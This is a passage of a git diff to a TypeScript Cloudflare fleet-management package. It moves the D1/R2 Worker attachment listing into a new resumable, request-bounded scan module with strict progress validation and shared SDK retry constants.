page or item overflows now fail closed instead of allowing an incomplete absence proof. diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 9d5c0947..c4cd9e21 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -16,6 +16,7 @@ Source map: - `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence +- `cloudflare-client-config.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds and the request-bounded account-wide D1/R2 attachment scanner - `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization - `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) - `workers/`: the platform's own deployed Workers, published as separate export entries diff --git a/packages/fleet-control/src/cloudflare-client-config.ts b/packages/fleet-control/src/cloudflare-client-config.ts new file mode 100644 index 00000000..e1b848ab --- /dev/null +++ b/packages/fleet-control/src/cloudflare-client-config.ts @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const CLOUDFLARE_SDK_MAX_RETRIES = 2; +export const CLOUDFLARE_SDK_MAX_ATTEMPTS = CLOUDFLARE_SDK_MAX_RETRIES + 1; diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 8748705b..71c3c7c2 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -3,11 +3,11 @@ import { AsyncLocalStorage } from 'node:async_hooks'; import { createHash } from 'node:crypto'; import Cloudflare from 'cloudflare'; -import type { NamespaceListResponse } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; import { toFile } from 'cloudflare/uploads'; import PQueue from 'p-queue'; import { exactActiveVersionId } from './active-route.js'; import { canonicalApplicationBindings } from './application-bindings.js'; +import { CLOUDFLARE_SDK_MAX_RETRIES } from './cloudflare-client-config.js'; import { attachCustomDomain, type CloudflareSdk, @@ -41,6 +41,15 @@ import { sanitizedErrorName, } from './cloudflare-provider-errors.js'; import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; +import { + advanceWorkerAttachmentScan, + type CloudflareWorkerAttachmentScanContext, + listAllDispatchScripts, + listAllWorkerAttachments, + type WorkerAttachmentScanChunk, + type WorkerAttachmentScanProgress, + type WorkerAttachmentScanTarget, +} from './cloudflare-worker-attachment-scan.js'; import type { DurableDatabaseExportStore } from './database-export-store.js'; import { type HostRoutingTarget, @@ -358,6 +367,17 @@ let trackProviderDispatch: ( operation: () => Promise, ) => Promise; +let scanProviderAttachments: ( + client: CloudflareProvisioningClient, + input: { + readonly target: WorkerAttachmentScanTarget; + readonly progress: WorkerAttachmentScanProgress; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly stopOnFirstAttachment?: boolean; + }, +) => Promise; + /** * Runs `operation`; rejects with * `CloudflareProviderRequestNotDispatchedError` (`cause` = the failure) when it @@ -373,12 +393,27 @@ export function withProviderDispatchTracking( return trackProviderDispatch(client, operation); } +/** @internal Package-private seam for the resumable lifecycle engine. */ +export function advanceCloudflareWorkerAttachmentScan( + client: CloudflareProvisioningClient, + input: { + readonly target: WorkerAttachmentScanTarget; + readonly progress: WorkerAttachmentScanProgress; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly stopOnFirstAttachment?: boolean; + }, +): Promise { + return scanProviderAttachments(client, input); +} + export class CloudflareProvisioningClient implements PlainWorkerRouteApi { readonly #accountId: string; readonly #apiToken: string; readonly #dispatchNamespace: string | undefined; readonly #client: CloudflareSdk; readonly #ordinary: OrdinaryWorkerContext; + readonly #attachmentScan: CloudflareWorkerAttachmentScanContext; readonly #operationQueue: PQueue; readonly #requestQueue: PQueue; readonly #rateCoordinator: CloudflareApiRateCoordinator; @@ -394,6 +429,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { // enters it, and Workers for Platforms callers never do. trackProviderDispatch = (client, operation) => client.#trackDispatch(operation); + scanProviderAttachments = (client, input) => + advanceWorkerAttachmentScan(client.#attachmentScan, input); } constructor( @@ -449,7 +486,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { // An injected logger cannot be disabled independently, so the client // option must override CLOUDFLARE_LOG before credentials reach the SDK. logLevel: 'off', - maxRetries: 2, + maxRetries: CLOUDFLARE_SDK_MAX_RETRIES, // The SDK timeout starts before its custom transport. Apply the real // timeout after shared quota acquisition so replica coordination cannot // consume the network request's lease-bounded execution budget. @@ -465,6 +502,22 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { this.withMutationFence(fence, operation), workerRouteZoneIds: () => this.#workerRouteZoneIds(), }; + this.#attachmentScan = { + accountId: this.#accountId, + client: this.#client, + dispatchNamespace: this.#dispatchNamespace, + requestDispatchScriptPage: ({ namespace, cursor, perPage, signal }) => { + const url = new URL( + `https://api.cloudflare.com/client/v4/accounts/${encodeURIComponent(this.#accountId)}/workers/dispatch/namespaces/${encodeURIComponent(namespace)}/scripts`, + ); + url.searchParams.set('per_page', String(perPage)); + if (cursor) url.searchParams.set('cursor', cursor); + return this.#request(url, { + headers: { authorization: `Bearer ${this.#apiToken}` }, + signal, + }); + }, + }; } /** Configured provider request timeout in milliseconds. */ @@ -707,34 +760,6 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } - async *#dispatchNamespaces(): AsyncGenerator { - let yielded = false; - try { - const listed = this.#client.workersForPlatforms.dispatch.namespaces.list({ - account_id: this.#accountId, - }); - for await (const namespace of this.#collectBounded( - listed, - 'dispatch namespace inventory', - )) { - yielded = true; - yield namespace; - } - } catch (error) { - // Only a plain-only account can prove the account-wide namespace set is - // empty from an initial 404; a partial scan is never exhaustive. The - // installed SDK's SinglePage never issues a second request, so the - // yielded guard is a forward-looking invariant rather than a live path. - if ( - this.#dispatchNamespace !== undefined || - yielded || - !isNotFound(error) - ) { - throw error; - } - } - } - async listWorkerDatabaseAttachments(databaseId: string): Promise< readonly Readonly<{ scriptName: string; @@ -742,121 +767,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { dispatchNamespace?: string; }>[] > { - const attachments: Array<{ - scriptName: string; - plane: 'ordinary' | 'dispatch'; - dispatchNamespace?: string; - }> = []; - const attachmentKeys = new Set(); - const addAttachment = ( - scriptName: string, - plane: 'ordinary' | 'dispatch', - dispatchNamespace?: string, - ): void => { - const key = `${plane}:${dispatchNamespace ?? ''}:${scriptName}`; - if (attachmentKeys.has(key)) return; - attachmentKeys.add(key); - attachments.push({ - scriptName, - plane, - ...(dispatchNamespace ? { dispatchNamespace } : {}), - }); - }; - for await (const script of this.#collectBounded( - this.#client.workers.scripts.list({ account_id: this.#accountId }), - 'ordinary Worker script inventory', - )) { - if (typeof script.id !== 'string' || script.id.length === 0) { - throw new Error( - 'Cloudflare ordinary Worker listing contained a script without an id', - ); - } - const deployments = await this.#client.workers.scripts.deployments.list( - script.id, - { - account_id: this.#accountId, - }, - ); - const active = deployments.deployments[0]; - if (!active) continue; - if (!Array.isArray(active.versions) || active.versions.length === 0) { - throw new Error( - `Cloudflare current deployment for ordinary Worker '${script.id}' had no versions`, - ); - } - let hasLiveVersion = false; - const currentVersions = active.versions.map((deployedVersion) => { - if ( - typeof deployedVersion.percentage !== 'number' || - !Number.isFinite(deployedVersion.percentage) || - deployedVersion.percentage < 0 || - deployedVersion.percentage > 100 || - typeof deployedVersion.version_id !== 'string' || - deployedVersion.version_id.length === 0 - ) { - throw new Error( - `Cloudflare current deployment for ordinary Worker '${script.id}' had malformed version metadata`, - ); - } - if (deployedVersion.percentage > 0) hasLiveVersion = true; - return deployedVersion; - }); - if (!hasLiveVersion) { - throw new Error( - `Cloudflare current deployment for ordinary Worker '${script.id}' had no live versions`, - ); - } - for (const deployedVersion of currentVersions) { - const version = await this.#client.workers.scripts.versions.get( - deployedVersion.version_id, - { account_id: this.#accountId, script_name: script.id }, - ); - if ( - (version.resources.bindings ?? []).some( - (binding) => - binding.type === 'd1' && binding.database_id === databaseId, - ) - ) { - addAttachment(script.id, 'ordinary'); - break; - } - } - } - for await (const namespace of this.#dispatchNamespaces()) { - if ( - typeof namespace.namespace_name !== 'string' || - namespace.namespace_name.length === 0 - ) { - throw new Error( - 'Cloudflare dispatch namespace listing contained an unidentified namespace', - ); - } - for (const script of await this.#dispatchScripts( - namespace.namespace_name, - )) { - const settings = - await this.#client.workersForPlatforms.dispatch.namespaces.scripts.settings.get( - script.id, - { - account_id: this.#accountId, - dispatch_namespace: namespace.namespace_name, - }, - ); - if ( - (settings.bindings ?? []).some( - (binding) => - binding.type === 'd1' && binding.database_id === databaseId, - ) - ) { - addAttachment(script.id, 'dispatch', namespace.namespace_name); - } - } - } - return attachments.sort((left, right) => - `${left.plane}:${left.dispatchNamespace ?? ''}:${left.scriptName}`.localeCompare( - `${right.plane}:${right.dispatchNamespace ?? ''}:${right.scriptName}`, - ), - ); + return listAllWorkerAttachments(this.#attachmentScan, { + kind: 'd1', + databaseId, + }); } async listWorkerR2Attachments(bucketName: string): Promise< @@ -866,77 +780,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { dispatchNamespace?: string; }>[] > { - const attachments: Array<{ - scriptName: string; - plane: 'ordinary' | 'dispatch'; - dispatchNamespace?: string; - }> = []; - for await (const script of this.#collectBounded( - this.#client.workers.scripts.list({ account_id: this.#accountId }), - 'ordinary Worker script inventory', - )) { - if (!script.id) throw new Error('ordinary Worker has no id'); - const deployments = await this.#client.workers.scripts.deployments.list( - script.id, - { account_id: this.#accountId }, - ); - for (const deployed of deployments.deployments[0]?.versions ?? []) { - if (!deployed.version_id) { - throw new Error( - `ordinary Worker '${script.id}' has a malformed version`, - ); - } - const version = await this.#client.workers.scripts.versions.get( - deployed.version_id, - { account_id: this.#accountId, script_name: script.id }, - ); - if ( - (version.resources.bindings ?? []).some( - (binding) => - binding.type === 'r2_bucket' && - binding.bucket_name === bucketName, - ) - ) { - attachments.push({ scriptName: script.id, plane: 'ordinary' }); - break; - } - } - } - for await (const namespace of this.#dispatchNamespaces()) { - if (!namespace.namespace_name) { - throw new Error('dispatch namespace has no name'); - } - for (const script of await this.#dispatchScripts( - namespace.namespace_name, - )) { - const settings = - await this.#client.workersForPlatforms.dispatch.namespaces.scripts.settings.get( - script.id, - { - account_id: this.#accountId, - dispatch_namespace: namespace.namespace_name, - }, - ); - if ( - (settings.bindings ?? []).some( - (binding) => - binding.type === 'r2_bucket' && - binding.bucket_name === bucketName, - ) - ) { - attachments.push({ - scriptName: script.id, - plane: 'dispatch', - dispatchNamespace: namespace.namespace_name, - }); - } - } - } - return attachments.sort((left, right) => - `${left.plane}:${left.dispatchNamespace ?? ''}:${left.scriptName}`.localeCompare( - `${right.plane}:${right.dispatchNamespace ?? ''}:${right.scriptName}`, - ), - ); + return listAllWorkerAttachments(this.#attachmentScan, { + kind: 'r2', + bucketName, + }); } async getR2Bucket( @@ -1036,95 +883,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async #dispatchScripts( dispatchNamespace: string, ): Promise[]> { - const scripts: Array> = - []; - let itemCount = 0; - let cursor: string | undefined; - const seenCursors = new Set(); - do { - const url = new URL( - `https://api.cloudflare.com/client/v4/accounts/${encodeURIComponent(this.#accountId)}/workers/dispatch/namespaces/${encodeURIComponent(dispatchNamespace)}/scripts`, - ); - url.searchParams.set('per_page', '1000'); - if (cursor) url.searchParams.set('cursor', cursor); - let response: Response | undefined; - for (let attempt = 0; attempt < 3; attempt += 1) { - response = await this.#request(url, { - headers: { authorization: `Bearer ${this.#apiToken}` }, - }); - if (response.status !== 429 && response.status < 500) break; - } - if (!response?.ok) { - throw new Error( - `Cloudflare dispatch script listing failed with status ${response?.status ?? 'unknown'}`, - ); - } - const payload: unknown = await response.json(); - if (!payload || typeof payload !== 'object' || !('result' in payload)) { - throw new Error('Cloudflare dispatch script listing was malformed'); - } - const result = payload.result; - if (!Array.isArray(result)) { - throw new Error( - 'Cloudflare dispatch script listing had no result array', - ); - } - for (const item of result) { - itemCount += 1; - if (itemCount > DEFAULT_INVENTORY_BOUND) { - throw inventoryBoundExceeded( - 'dispatch script inventory', - DEFAULT_INVENTORY_BOUND, - ); - } - if (!item || typeof item !== 'object' || !('id' in item)) { - throw new Error( - 'Cloudflare dispatch script listing contained an invalid item', - ); - } - const id = item.id; - const tags = 'tags' in item ? item.tags : undefined; - if ( - typeof id !== 'string' || - id.length === 0 || - (tags !== undefined && - (!Array.isArray(tags) || - !tags.every((tag) => typeof tag === 'string'))) - ) { - throw new Error( - 'Cloudflare dispatch script listing contained malformed script metadata', - ); - } - scripts.push({ id, tags: (tags as string[] | undefined) ?? [] }); - } - const resultInfo = - 'result_info' in payload && - payload.result_info && - typeof payload.result_info === 'object' - ? payload.result_info - : undefined; - const cursors = - resultInfo && 'cursors' in resultInfo && resultInfo.cursors - ? resultInfo.cursors - : undefined; - const nextCursor = - resultInfo && 'cursor' in resultInfo - ? resultInfo.cursor - : cursors && typeof cursors === 'object' && 'after' in cursors - ? cursors.after - : undefined; - cursor = - typeof nextCursor === 'string' && nextCursor ? nextCursor : undefined; - if (cursor) { - if (seenCursors.has(cursor)) { - throw new Error( - 'Cloudflare dispatch script listing repeated a cursor', - ); - } - seenCursors.add(cursor); - } - } while (cursor); - return scripts; + return listAllDispatchScripts(this.#attachmentScan, dispatchNamespace); } async listOrdinaryWorkerDatabases( diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts new file mode 100644 index 00000000..2a01021c --- /dev/null +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -0,0 +1,1876 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { CLOUDFLARE_SDK_MAX_ATTEMPTS } from './cloudflare-client-config.js'; +import type { CloudflareSdk } from './cloudflare-ordinary-worker-operations.js'; +import { isNotFound } from './cloudflare-provider-errors.js'; + +const INVENTORY_BOUND = 10_000; +const DISPATCH_PAGE_SIZE = 100; +const DISPATCH_PAGE_BOUND = 100; +const PROGRESS_BYTE_BOUND = 65_536; +const CURSOR_BYTE_BOUND = 4_096; +const EVIDENCE_BOUND = 1_000_000; +const PLAIN_DATA_DEPTH_BOUND = 64; +const PLAIN_DATA_NODE_BOUND = 8_192; +const SHA256_PATTERN = /^[0-9a-f]{64}$/; +const EMPTY_MULTISET_SHA256 = '0'.repeat(64); + +export type WorkerAttachmentScanTarget = + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + +export interface WorkerAttachment { + readonly scriptName: string; + readonly plane: 'ordinary' | 'dispatch'; + readonly dispatchNamespace?: string; +} + +interface ScanCommon { + readonly version: 1; + readonly target: WorkerAttachmentScanTarget; + readonly evidenceSha256: string; + readonly evidenceCount: number; +} + +export type WorkerAttachmentScanProgress = + | (ScanCommon & + Readonly<{ + stage: 'ordinary-script-inventory'; + ordinaryInventorySha256?: string; + scriptIndex: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'ordinary-deployment'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + }>) + | (ScanCommon & + Readonly<{ + stage: 'ordinary-version'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + deploymentSha256: string; + versionIndex: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'dispatch-namespace-inventory'; + ordinaryInventorySha256: string; + namespaceInventorySha256?: string; + namespaceIndex: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'dispatch-script-page'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'dispatch-script-settings'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + nextCursor?: string; + pageSha256: string; + pageItemCount: number; + itemOffset: number; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }>); + +export type WorkerAttachmentScanChunk = + | Readonly<{ + status: 'pending'; + progress: WorkerAttachmentScanProgress; + attachments: readonly WorkerAttachment[]; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + status: 'attached'; + attachment: WorkerAttachment; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + status: 'complete'; + evidenceSha256: string; + evidenceCount: number; + attachments: readonly WorkerAttachment[]; + providerFetchAttemptsReserved: number; + }>; + +export interface CloudflareWorkerAttachmentScanContext { + readonly accountId: string; + readonly client: CloudflareSdk; + readonly dispatchNamespace?: string; + requestDispatchScriptPage(input: { + readonly namespace: string; + readonly cursor?: string; + readonly perPage: number; + readonly signal?: AbortSignal; + }): Promise; +} + +interface NormalizedNamespace { + readonly name: string; + readonly id: string | null; + readonly scriptCount: number | null; +} + +interface NormalizedDispatchScript { + readonly id: string; + readonly tags: readonly string[]; +} + +interface DispatchScriptPage { + readonly scripts: readonly NormalizedDispatchScript[]; + readonly nextCursor?: string; + readonly attempts: number; +} + +interface ActiveVersion { + readonly versionId: string; + readonly percentage: number | undefined; +} + +class ProviderFetchBudget { + readonly #maximum: number; + #reserved = 0; + + constructor(maximum: number) { + if (!Number.isSafeInteger(maximum) || maximum < 9 || maximum > 1_000) { + throw new Error('maxProviderRequests must be an integer from 9 to 1000'); + } + this.#maximum = maximum; + } + + reserve(): boolean { + if (this.#reserved + CLOUDFLARE_SDK_MAX_ATTEMPTS > this.#maximum) { + return false; + } + this.#reserved += CLOUDFLARE_SDK_MAX_ATTEMPTS; + return true; + } + + get reserved(): number { + return this.#reserved; + } +} + +export class CloudflareAttachmentScanProgressError extends Error { + constructor() { + super('Cloudflare attachment scan progress is malformed'); + this.name = 'CloudflareAttachmentScanProgressError'; + } +} + +export class CloudflareAttachmentScanDriftError extends Error { + constructor() { + super('Cloudflare attachment inventory changed during a resumable scan'); + this.name = 'CloudflareAttachmentScanDriftError'; + } +} + +function sha256(value: string): string { + return createHash('sha256').update(value).digest('hex'); +} + +function targetValue(target: WorkerAttachmentScanTarget): string { + return target.kind === 'd1' ? target.databaseId : target.bucketName; +} + +function initialEvidence(target: WorkerAttachmentScanTarget): string { + return sha256( + JSON.stringify(['attachment-scan-v1', target.kind, targetValue(target)]), + ); +} + +function addEvidence( + progress: WorkerAttachmentScanProgress, + leaf: readonly unknown[], + observationCount = 1, +): Pick { + if ( + !safeInteger(observationCount, EVIDENCE_BOUND) || + progress.evidenceCount + observationCount > EVIDENCE_BOUND + ) { + throw new Error( + `Cloudflare attachment evidence exceeded ${EVIDENCE_BOUND} leaves`, + ); + } + return { + evidenceSha256: sha256(JSON.stringify([progress.evidenceSha256, leaf])), + evidenceCount: progress.evidenceCount + observationCount, + }; +} + +function addMultisetEvidence(sum256: string, leaf: readonly unknown[]): string { + const modulus = 1n << 256n; + const sum = BigInt(`0x${sum256}`); + const digest = BigInt(`0x${sha256(JSON.stringify(leaf))}`); + return ((sum + digest) % modulus).toString(16).padStart(64, '0'); +} + +function utf8Length(value: string): number { + return new TextEncoder().encode(value).byteLength; +} + +function plainRecord(value: unknown): Record | undefined { + try { + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + return undefined; + } + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) return undefined; + const keys = Reflect.ownKeys(value); + const entries: Array = []; + for (const key of keys) { + if (typeof key !== 'string') return undefined; + const descriptor = Object.getOwnPropertyDescriptor(value, key); + if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { + return undefined; + } + entries.push([key, descriptor.value]); + } + return Object.fromEntries(entries); + } catch { + return undefined; + } +} + +function plainArray(value: unknown): readonly unknown[] | undefined { + try { + if (!Array.isArray(value)) return undefined; + if (Object.getPrototypeOf(value) !== Array.prototype) return undefined; + const keys = Reflect.ownKeys(value); + const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length'); + const length = + lengthDescriptor && 'value' in lengthDescriptor + ? lengthDescriptor.value + : undefined; + if ( + !Number.isSafeInteger(length) || + Number(length) < 0 || + lengthDescriptor?.enumerable !== false || + keys.length !== Number(length) + 1 || + !keys.includes('length') || + keys.some((key) => typeof key !== 'string') + ) { + return undefined; + } + const array: unknown[] = []; + for (let index = 0; index < Number(length); index += 1) { + const descriptor = Object.getOwnPropertyDescriptor(value, String(index)); + if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { + return undefined; + } + array.push(descriptor.value); + } + return array; + } catch { + return undefined; + } +} + +type PlainData = + | null + | boolean + | number + | string + | PlainDataArray + | PlainDataMap; + +interface PlainDataArray extends ReadonlyArray {} + +interface PlainDataMap { + readonly [key: string]: PlainData; +} + +interface PlainDataBudget { + nodes: number; + scalarUtf8Bytes: number; +} + +type PlainDataResult = + | Readonly<{ valid: true; value: PlainData }> + | Readonly<{ valid: false }>; + +function chargePlainDataScalar( + budget: PlainDataBudget, + value: null | boolean | number | string, +): boolean { + if ( + typeof value === 'string' && + value.length > PROGRESS_BYTE_BOUND - budget.scalarUtf8Bytes + ) { + return false; + } + const serialized = JSON.stringify(value); + budget.scalarUtf8Bytes += utf8Length(serialized); + return budget.scalarUtf8Bytes <= PROGRESS_BYTE_BOUND; +} + +function clonePlainData( + value: unknown, + ancestors = new Set(), + depth = 0, + budget: PlainDataBudget = { nodes: 0, scalarUtf8Bytes: 0 }, +): PlainDataResult { + budget.nodes += 1; + if (depth > PLAIN_DATA_DEPTH_BOUND || budget.nodes > PLAIN_DATA_NODE_BOUND) { + return { valid: false }; + } + if ( + value === null || + typeof value === 'string' || + typeof value === 'boolean' || + (typeof value === 'number' && Number.isFinite(value)) + ) { + return chargePlainDataScalar(budget, value) + ? ({ valid: true, value } as PlainDataResult) + : { valid: false }; + } + if (typeof value !== 'object') return { valid: false }; + if (ancestors.has(value)) return { valid: false }; + ancestors.add(value); + try { + if (Array.isArray(value)) { + if (Object.getPrototypeOf(value) !== Array.prototype) { + return { valid: false }; + } + const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length'); + const length = + lengthDescriptor && 'value' in lengthDescriptor + ? lengthDescriptor.value + : undefined; + if ( + !Number.isSafeInteger(length) || + Number(length) < 0 || + lengthDescriptor?.enumerable !== false || + Number(length) > PLAIN_DATA_NODE_BOUND - budget.nodes + ) { + return { valid: false }; + } + const keys = Reflect.ownKeys(value); + if ( + keys.length !== Number(length) + 1 || + !keys.includes('length') || + keys.some((key) => typeof key !== 'string') + ) { + return { valid: false }; + } + const cloned: PlainData[] = []; + for (let index = 0; index < Number(length); index += 1) { + const descriptor = Object.getOwnPropertyDescriptor( + value, + String(index), + ); + if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { + return { valid: false }; + } + const result = clonePlainData( + descriptor.value, + ancestors, + depth + 1, + budget, + ); + if (!result.valid) return result; + cloned.push(result.value); + } + return { valid: true, value: cloned }; + } + const prototype = Object.getPrototypeOf(value); + if (prototype !== Object.prototype && prototype !== null) { + return { valid: false }; + } + const keys = Reflect.ownKeys(value); + if (keys.length > PLAIN_DATA_NODE_BOUND - budget.nodes) { + return { valid: false }; + } + const cloned = Object.create(null) as Record; + for (const key of keys) { + if (typeof key !== 'string' || !chargePlainDataScalar(budget, key)) { + return { valid: false }; + } + const descriptor = Object.getOwnPropertyDescriptor(value, key); + if (!descriptor || !('value' in descriptor) || !descriptor.enumerable) { + return { valid: false }; + } + const result = clonePlainData( + descriptor.value, + ancestors, + depth + 1, + budget, + ); + if (!result.valid) return result; + cloned[key] = result.value; + } + return { valid: true, value: cloned }; + } finally { + ancestors.delete(value); + } +} + +function exactKeys( + value: Record, + required: readonly string[], + optional: readonly string[] = [], +): boolean { + const keys = Object.keys(value).sort(); + const allowed = [...required, ...optional].sort(); + return ( + required.every((key) => Object.hasOwn(value, key)) && + keys.length === + allowed.length - + optional.filter((key) => !Object.hasOwn(value, key)).length && + keys.every((key) => allowed.includes(key)) + ); +} + +function safeInteger( + value: unknown, + maximum = Number.MAX_SAFE_INTEGER, +): value is number { + return ( + Number.isSafeInteger(value) && + Number(value) >= 0 && + Number(value) <= maximum + ); +} + +function hash(value: unknown): value is string { + return typeof value === 'string' && SHA256_PATTERN.test(value); +} + +function boundedString( + value: unknown, + options: { readonly allowEmpty?: boolean } = {}, +): value is string { + return ( + typeof value === 'string' && + (options.allowEmpty || value.length > 0) && + utf8Length(value) <= CURSOR_BYTE_BOUND + ); +} + +function parseTarget(value: unknown): WorkerAttachmentScanTarget | undefined { + const record = plainRecord(value); + if (!record || typeof record.kind !== 'string') return undefined; + if ( + record.kind === 'd1' && + exactKeys(record, ['kind', 'databaseId']) && + boundedString(record.databaseId) + ) { + return { kind: 'd1', databaseId: record.databaseId }; + } + if ( + record.kind === 'r2' && + exactKeys(record, ['kind', 'bucketName']) && + boundedString(record.bucketName) + ) { + return { kind: 'r2', bucketName: record.bucketName }; + } + return undefined; +} + +function sameTarget( + left: WorkerAttachmentScanTarget, + right: WorkerAttachmentScanTarget, +): boolean { + return left.kind === right.kind && targetValue(left) === targetValue(right); +} + +const COMMON_KEYS = [ + 'version', + 'target', + 'stage', + 'evidenceSha256', + 'evidenceCount', +] as const; + +function parseCommon( + record: Record, + target: WorkerAttachmentScanTarget, +): ScanCommon | undefined { + const parsedTarget = parseTarget(record.target); + if ( + record.version !== 1 || + !parsedTarget || + !sameTarget(parsedTarget, target) || + !hash(record.evidenceSha256) || + !safeInteger(record.evidenceCount, EVIDENCE_BOUND) + ) { + return undefined; + } + return { + version: 1, + target: parsedTarget, + evidenceSha256: record.evidenceSha256, + evidenceCount: record.evidenceCount, + }; +} + +function cursorHashes(value: unknown): readonly string[] | undefined { + const array = plainArray(value); + if ( + !array || + array.length > DISPATCH_PAGE_BOUND || + !array.every(hash) || + new Set(array).size !== array.length + ) { + return undefined; + } + return [...array] as string[]; +} + +function codeUnitCompare(left: string, right: string): number { + return left < right ? -1 : left > right ? 1 : 0; +} + +function validPageStart( + pageNumber: number, + pageStartCursor: unknown, + seenCursorSha256: readonly string[], +): boolean { + if (pageNumber === 0) { + return pageStartCursor === undefined; + } + return ( + typeof pageStartCursor === 'string' && + seenCursorSha256[pageNumber - 1] === sha256(pageStartCursor) + ); +} + +export function parseWorkerAttachmentScanProgress( + value: unknown, + target: WorkerAttachmentScanTarget, +): WorkerAttachmentScanProgress { + let plain: PlainDataResult; + try { + plain = clonePlainData(value); + if ( + !plain.valid || + utf8Length(JSON.stringify(plain.value)) > PROGRESS_BYTE_BOUND + ) { + throw new CloudflareAttachmentScanProgressError(); + } + } catch (error) { + if (error instanceof CloudflareAttachmentScanProgressError) throw error; + throw new CloudflareAttachmentScanProgressError(); + } + const record = plainRecord(plain.value); + if (!record || typeof record.stage !== 'string') { + throw new CloudflareAttachmentScanProgressError(); + } + const common = parseCommon(record, target); + if (!common) throw new CloudflareAttachmentScanProgressError(); + + const malformed = (): never => { + throw new CloudflareAttachmentScanProgressError(); + }; + switch (record.stage) { + case 'ordinary-script-inventory': { + if ( + !exactKeys( + record, + [...COMMON_KEYS, 'scriptIndex'], + ['ordinaryInventorySha256'], + ) || + !safeInteger(record.scriptIndex, INVENTORY_BOUND) || + record.ordinaryInventorySha256 !== undefined || + record.scriptIndex !== 0 || + common.evidenceCount !== 0 || + common.evidenceSha256 !== initialEvidence(common.target) + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + scriptIndex: record.scriptIndex, + ...(typeof record.ordinaryInventorySha256 === 'string' + ? { ordinaryInventorySha256: record.ordinaryInventorySha256 } + : {}), + }; + } + case 'ordinary-deployment': { + if ( + !exactKeys(record, [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'scriptIndex', + 'scriptName', + ]) || + !hash(record.ordinaryInventorySha256) || + !safeInteger(record.scriptIndex, INVENTORY_BOUND) || + !boundedString(record.scriptName) || + common.evidenceCount < record.scriptIndex + 1 + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + scriptIndex: record.scriptIndex, + scriptName: record.scriptName, + }; + } + case 'ordinary-version': { + if ( + !exactKeys(record, [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'scriptIndex', + 'scriptName', + 'deploymentSha256', + 'versionIndex', + ]) || + !hash(record.ordinaryInventorySha256) || + !safeInteger(record.scriptIndex, INVENTORY_BOUND) || + !boundedString(record.scriptName) || + !hash(record.deploymentSha256) || + !safeInteger(record.versionIndex, INVENTORY_BOUND) || + common.evidenceCount < record.scriptIndex + record.versionIndex + 2 + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + scriptIndex: record.scriptIndex, + 